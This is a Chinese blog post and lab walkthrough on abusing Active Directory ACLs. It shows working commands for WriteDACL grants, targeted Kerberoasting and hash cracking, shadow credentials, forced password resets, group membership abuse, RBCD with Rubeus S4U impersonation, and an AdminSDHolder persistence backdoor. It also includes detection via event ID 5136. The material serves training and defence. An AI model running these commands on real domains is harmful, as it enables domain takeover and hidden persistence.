域渗透-How2PwnACLs | 长亭百川云

序言

ACL在域里算比较复杂的知识，笔者原本熟悉程度也比较一般。但作为内网基础知识，还是有必要掌握的。以下是笔者学习的一些笔记并配套了对应的实战环境，目前环境作为私有挑战已上线xbitsplatform靶场平台。

该挑战需要在已有一个域凭据的情况下，全程通过远程操作完成一些ACL滥用相关的利用。

ACL概念

访问控制列表 (ACL) 是访问控制条目 (ACE) 的列表。ACL 中的每个 ACE 都标识一个受托者，并为该受托者指定允许、拒绝或审计的访问权限。安全对象的安全描述符可以包含两种类型的 ACL：DACL 和 SACL。

使用ADSI edit连接域后，可以看到某个域Object的acl，如下图。列表中的每一条即为ACE。代表以用户bob为主体，描述哪些对象对bob有什么样的权限。

具体打开一条ace，看到域管组对用户bob有一系列的权限：

如何查看ACL

刚才我们通过图形化界面查看了域对象的ACL，在渗透测试中往往使用命令行操作更加方便。我们将做个实验来比较几个工具的优劣:

我们手动增加了用户Apache对bob的完全访问权限:

Active Directory Module

安装：

`import-module ActiveDirectory   `

使用:

`(Get-Acl -Path "AD:CN=bob,CN=Users,DC=cia,DC=gov").access   `

可以看到Apache用户对bob有GenericAll权限

Powerview

`Get-ObjectAcl -samAccountName bob -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}   `

和Active Directory Module相比多了一些字段，但少了IdentityReference，导致看起来不直观：

不知道是不是版本问题，和其他人的工具会不一样。不过可以根据SecurityIdentifier指向的sid知道是谁作用于bob。

dsacls.exe

`dsacls "CN=bob,CN=Users,DC=cia,DC=gov"   `

结果比较明了，直接就是FULL CONTROL。

特殊ACEs

但如果我们给的权限只是列表中的一小点，那么看到的结果需要解读，比如我们看到：

表示CIA\Exchange Trusted Subsystem对bob用户的GUID为bf967a06-0de6-11d0-a285-00aa003049e2的属性有WriteProperty权限。

我们可以通过脚本转换GUID：

`$ObjectTypeGUID = @{}       $GetADObjectParameter=@{       SearchBase=(Get-ADRootDSE).SchemaNamingContext       LDAPFilter='(SchemaIDGUID=*)'       Properties=@("Name", "SchemaIDGUID")   }       $SchGUID=Get-ADObject @GetADObjectParameter       Foreach ($SchemaItem in $SchGUID){       $ObjectTypeGUID.Add([GUID]$SchemaItem.SchemaIDGUID,$SchemaItem.Name)   }       $ADObjExtPar=@{       SearchBase="CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)"       LDAPFilter='(ObjectClass=ControlAccessRight)'       Properties=@("Name", "RightsGUID")   }       $SchExtGUID=Get-ADObject @ADObjExtPar       ForEach($SchExtItem in $SchExtGUID){       $ObjectTypeGUID.Add([GUID]$SchExtItem.RightsGUID,$SchExtItem.Name)   }       $ObjectTypeGUID | Format-Table -AutoSize       $ObjectTypeGUID[[GUID]'bf967961-0de6-11d0-a285-00aa003049e2']   `

结果：

即：CIA\Exchange Trusted Subsystem对bob用户的E-mail-Addresses属性有WriteProperty权限。

powerview也可以针对具体某一条查询：

dsacls.exe结果比较简单，只能查询基础ACL，如GenericAll、WriteDAcl等，但胜在能远程查询，其他工具需要在域的上下文中使用：

`dsacls.exe "\\10.0.0.50\CN=bob,CN=Users,DC=cia,DC=gov"   `

如何赋权

可以使用dsacls进行普通赋权，如WriteACL、GenericAll等。特殊权限可以使用图形化的ADSI远程登录进行修改。

`dsacls "\\10.0.1.100\CN=Brandi.Khan,CN=Users,DC=pwn,DC=local" /I:T /G "pwn\Amy.Gibson:WD"      dsacls "\\10.0.1.100\CN=Carol.Dean,CN=Users,DC=pwn,DC=local" /I:T /G "pwn\Brandi.Khan:GA"      dsacls "\\10.0.1.100\CN=IT administrators,CN=Users,DC=pwn,DC=local" /I:T /G "pwn\Jane.Ward:GA"   `

编程实现

很多国外文章都使用BloodHound检测acl，我们看看如何实现：https://github.com/BloodHoundAD/SharpHound3/blob/master/SharpHound3/Tasks/ACLTasks.cs

首先从ldap信息里得到ntsecuritydescriptor：

笔者以往导出ldap信息笔者用的最多的是dsquery，并不会导出acl相关的信息。印象中adfind可以导出sddlstring：

`AdFind -b "OU=Employee,DC=Contoso,DC=Com" -s base nTSecurityDescriptor -sddl++ -resolvesids   `

在https://social.technet.microsoft.com/wiki/contents/articles/6477.active-directory-how-to-view-or-delete-delegated-permissions.aspx?Sort=MostRecent&PageIndex=1这篇文章中发现了很多可以操作ACL的工具。

后续很简单，将数据初始化成ActiveDirectorySecurity实例，取需要的字段与对应值即可：

经过过滤找出允许GenericAll、Write Dacl、Write Owner的aces，之后对特殊的aces进行过滤，主要包括：

1.对DCSYNC权限相关的权限进行检测：

目前dcsync的分析比较透彻了，以下是进行dcsync需要的权限：

2.对ForceChangePassword的检测

3.对ldps进行检查，通过laps可以获取机器本地管理员密码

4.对操作spn及增加用户检查

这里有几个objectAceType为allguid，是00000000-0000-0000-0000-000000000000即作用于所有权限。

解释了上文提到的特殊aces和常规aces作用对象的区别。

二次开发

sharpHound要在域内机器运行，局限性比较大，简单做个二开，增加了远程认证：

工具最后输出对整个域进行安全评估，以下是使用流程：

首先增加到dc的dns解析执行：

`7bitsPwnACLs.exe "pwn.local\Amy.Gibson" "7Bits@Templete"  > all.txt   `

获得yin的结果：

标红的都属于非系统默认的ACL的账户，看起来就非常异常。查找具体的规则：

可以看到Amy.Gibson对Brandi.Khan的00000000-0000-0000-0000-000000000000(即所有属性)有writeDACL权限。

脆弱性利用

不安全的配置导致权限提升

需要重点关注的ACE如下：

`ForceChangePassword：强制改变当下的密码       AddMembers：可以对目标组添加用户（包括自己的账户）       GenericAll：完全控制对象，包括更改密码、注册SPN、添加AD对象到目标组里面       GenericWrite:更改目标写入参数，导致下次用户登录脚本就要执行       WriteOwne：更新目标对象的所有者，可以让自己成为所有者       WriteDACL：更新对面的DACL，将ACL写入对面实体，直接授予我们的账户对对象的完全控制权       AllExtendedRights：能够对目标对象执行与扩展 AD 权限相关的任何操作。例如，这包括强制更改用户密码的能力。   `

这些权限可以帮助我们进行一定程度的提权，但一般我们选择对目标破坏性最小的一些方案。

实战案例

我们现在拥有Amy.Gibson的账户密码，可以导出ACL及ldap信息：

Amy.Gibson在ldap方面仅仅是一个普通用户，没有什么可以利用的地方：

`objectClass: top   objectClass: person   objectClass: organizationalPerson   objectClass: user   cn: Amy.Gibson   distinguishedName: CN=Amy.Gibson,CN=Users,DC=pwn,DC=local   instanceType: 4   whenCreated: 04/16/2023 05:29:00   whenChanged: 04/16/2023 06:05:55   uSNCreated: 12880   uSNChanged: 13096   name: Amy.Gibson   objectGUID: {9C994167-7B22-4979-98A1-712505B8E69B}   userAccountControl: 66048   badPwdCount: 0   codePage: 0   countryCode: 0   badPasswordTime: 0   lastLogoff: 0   lastLogon: 0   pwdLastSet: 133260965408921060   primaryGroupID: 513   objectSid: S-1-5-21-1540577040-1432127714-718651653-1111   accountExpires: 0   logonCount: 0   sAMAccountName: Amy.Gibson   sAMAccountType: 805306368   objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=pwn,DC=local   dSCorePropagationData: 01/01/1601 00:00:00   lastLogonTimestamp: 133260987556163029   ADsPath: LDAP://dc.pwn.local/CN=Amy.Gibson,CN=Users,DC=pwn,DC=local   `

查看整域的acl，可以看到有几个账户都有异常的权限：

`[+] show WriteDACLoperation      Administrators   Domain Admins   Enterprise Admins   Account Operators   Amy.Gibson   Brandi.Khan   Jane.Ward   `

writeDACL on users(Amy.Gibson -> Brandi.Khan)

查看完整的acl信息，Amy.Gibson 对 Brandi.Khan 有writeDACL权限:

`Amy.Gibson has WriteDacl to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1115, CN=Brandi.Khan,CN=Users,DC=pwn,DC=local]   `

我们可以通过远程直接使用ADSI edit赋予Brandi.Khan用户GenericAll权限，普通win10安装域功能后自带该工具：

设置连接参数：

修改Brandi.Khan的权限：

我们现在有Brandi.Khan账户的权限，暴力一些可以直接修改Brandi.Khan的密码，但在实际渗透中不会选择这样做。想要获取其密码我们可以使用targetedKerberoast技术。

targetedKerberoast

这种技术解释起来很简单，就是有修改某一个账户权限的时候给这个账户新增一个spn，之后使用keberoasting破解密码即可。

使用https://github.com/ShutdownRepo/targetedKerberoast这个工具，会自动检测ACL，提供已有的账户密码即可：

最后会自动删除spn。

进行破解，获得Brandi.Khan的密码：

`john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast   hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt   ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi   `

获得Brandi.Khan的密码P@ssw0rd。

ShadowCredentials(Brandi.Khan -> Carol.Dean)

通过targetedKerberoast我们已经拥有了Brandi.Khan权限，查看Brandi.Khan相关的acl：

`Brandi.Khan has GenericAll to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1141, CN=Carol.Dean,CN=Users,DC=pwn,DC=local]   `

发现Brandi.Khan对Carol.Dean有GenericAll权限，除了targetedKerberoast技术，我们还可以使用Shadow Credentials技术。

Shadow Credentials简单来说就是我们可以设置某个账户的msDS-KeyCredentialLink属性，msDS-KeyCredentialLink可以设置公私密钥身份验证凭据，并使用它们获取特殊服务票证，该票证在您可以解密的加密 NTLM_SUPPLEMENTAL_CREDENTIAL 实体中的特权属性证书 (PAC) 中包含其 NTLM 哈希。

使用工具https://github.com/ShutdownRepo/pywhisker进行利用:

`python pywhisker.py -d "pwn.local" -u "Brandi.Khan" -p "P@ssw0rd" --target "Carol.Dean" --action "add" --filename test1   `

利用成功：

生成了证书及密码文件，使用证书进行认证：

`python gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass 0BUDG9Il7okIRHioXkY2 pwn.local/Carol.Dean Carol.Dean.ccache   set KRB5CCNAME=Carol.Dean.ccache   python getnthash.py -key bc427a139e28d2d965a64caf268209a170e29c11b0def6b11ad077fe3e4b4292 pwn.local/Carol.Dean   `

清理后门：

`python pywhisker.py -d "pwn.local" -u "Brandi.Khan" -p "P@ssw0rd" --target "Carol.Dean" --action "clear"   `

ForceChangePassword(Carol.Dean -> Jane.Ward)

Carol.Dean有Jane.Ward的ForceChangePassword权限

`Carol.Dean has WriteProperty to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1143, CN=Jane.Ward,CN=Users,DC=pwn,DC=local]   Carol.Dean has ExtendedRight to 00299570-246d-11d0-a768-00aa006e0529 on [S-1-5-21-1540577040-1432127714-718651653-1143, CN=Jane.Ward,CN=Users,DC=pwn,DC=local]   `

我们可以通过远程MSRPC-SAMR协议修改Jane.Ward的密码，rpcclient默认支持hash认证：

`rpcclient -U "pwn\Carol.Dean" //10.0.1.100 --pw-nt-hash   >input nthash   rpcclient $> setuserinfo2   setuserinfo2 Jane.Ward 23 Admin7Bits   `

通过MSRPC我们成功远程修改了Jane.Ward用户的密码。

GenericAll on groups(Jane.Ward -> account opertaors)

Jane.Ward拥有对IT administrators组的GenericAll权限：

`Jane.Ward has GenericAll to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1152, CN=IT administrators,CN=Users,DC=pwn,DC=local]   `

通过ldap信息，我们知道IT administrators 是 account opertaors组的成员：

`objectClass: top   objectClass: group   cn: IT administrators   distinguishedName: CN=IT administrators,CN=Users,DC=pwn,DC=local   instanceType: 4   whenCreated: 04/16/2023 09:53:05   whenChanged: 04/16/2023 10:55:21   uSNCreated: 13114   memberOf: CN=Account Operators,CN=Builtin,DC=pwn,DC=local   uSNChanged: 13126   name: IT administrators   objectGUID: {D29F7FE0-13E1-4A20-A46B-63D9BD30D6AD}   objectSid: S-1-5-21-1540577040-1432127714-718651653-1152   adminCount: 1   sAMAccountName: IT administrators   sAMAccountType: 268435456   groupType: -2147483646   objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=pwn,DC=local   dSCorePropagationData: 04/16/2023 10:55:21   dSCorePropagationData: 04/16/2023 09:59:26   dSCorePropagationData: 01/01/1601 00:00:00   ADsPath: LDAP://dc.pwn.local/CN=IT administrators,CN=Users,DC=pwn,DC=local   `

即Jane.Ward可以通过操作IT administrators组成员达到操作account opertaors组的目的。

关于远程加组的操作，可以使用linux下的net

`net rpc group addmem "IT administrators" Jane.Ward -U pwn.local/Jane.Ward -S 10.0.1.100   `

通过ldap信息发现已经成功加入组：

RBCD(account opertaors -> FLAG$)

最终转化为拥有account opertaors组成员如何提权的问题。

account opertaors组可以操作除了域管组或Administrators组的成员。想要进一步渗透需要借助rbcd技术。(RBCD) Resource-based constrained即基于资源的约束委派。

RBCD简单来说就是控制机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性，该属性指向一个域用户。表示该用户拥有机器的某一服务权限，如LDAP/SMB等，相当于这台机器的隐藏后门。

account opertaors是拥有域内普通机器的修改权限的：

因为设置RBCD需要一个拥有spn的账户，一般用户是没有的。机器账户自带一些spn，所以选择新增一个机器账户，默认一个用户可以新增10个机器账户：

`python addcomputer.py -computer-name faker -computer-pass 123456 -dc-ip 10.0.1.100 pwn.local/Jane.Ward:Admin7Bits   `

使用https://github.com/tothi/rbcd-attack修改AllowedToActOnBehalfOfOtherIdentity属性：

`python rbcd.py -dc-ip 10.0.1.100 -t FLAG -f faker pwn\Jane.Ward:Admin7Bits   `

笔者这里是windows环境，使用Rubeus工具申请tgt，使用s4u模拟成administrator并smb访问：

Rubeus.exe asktgt /domain:pwn.local /user:faker /password:123456 /dc:10.0.1.100 /outfile:1.KIRBI  
Rubeus.exe s4u /ticket:1.KIRBI /impersonateuser:Administrator /msdsspn:cifs/FLAG.pwn.local /altservice:cifs /dc:10.0.1.100 /ptt

后门技术

AdminSDHolder 修改是一种持久性技术，攻击者滥用 Active Directory 中的 SDProp 进程来建立 Active Directory 的持久性后门。每小时（默认情况下），SDProp 将 Active Directory 中受保护对象（例如，具有域管理员权限的用户）的权限与在称为 AdminSDHolder 的特殊容器上定义的权限进行比较。如果它们不同，它将用 AdminSDHolder 上定义的权限替换受保护对象的权限。因此，修改 AdminSDHolder 容器的对手可以建立影子管理路径和重新获得对 Active Directory 的管理访问权限的方法。

被保护的用户组如下：

`Account Operators   Backup Operators   Server Operators   Print Operators   Domain Admins   Replicator   Enterprise Admins   Domain Controllers   Read-only Domain Controllers   Schema Admins   Administrators   `

利用起来比较简单：

`Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System' -PrincipalIdentity BobT -Rights All   `

使用 PowerSploit 的 Add-DomainObjectACL cmdlet 将 AdminSDHolder容器上的所有权限授予一个普通账户。下次SDProp进程运行时，普通账户的GenericAll权限将应用于所有受保护的对象。

检测

默认情况下远程对acl的访问、修改不会产生明显日志。需要手动开启审计日志的DS访问：

比如adminsdholder后门，日志id为5136，且ldap属性AttributeLDAPDisplayName为nTSecurityDescriptor安全描述符。

过滤起来就相当容易:

`<QueryList>     <Query Id="0" Path="Security">       <Select Path="Security">   *[System[(EventID=5136)]]   and   *[EventData[Data[@Name='ObjectDN'] and (Data='CN=AdminSDHolder,CN=System,DC=YourDomain,DC=com')]]   and   *[EventData[Data[@Name='AttributeLDAPDisplayName'] and (Data='nTSecurityDescriptor')]]   </Select>     </Query>   </QueryList>      `

可以通过powershell将日志中的sddlstring转为可见的模式：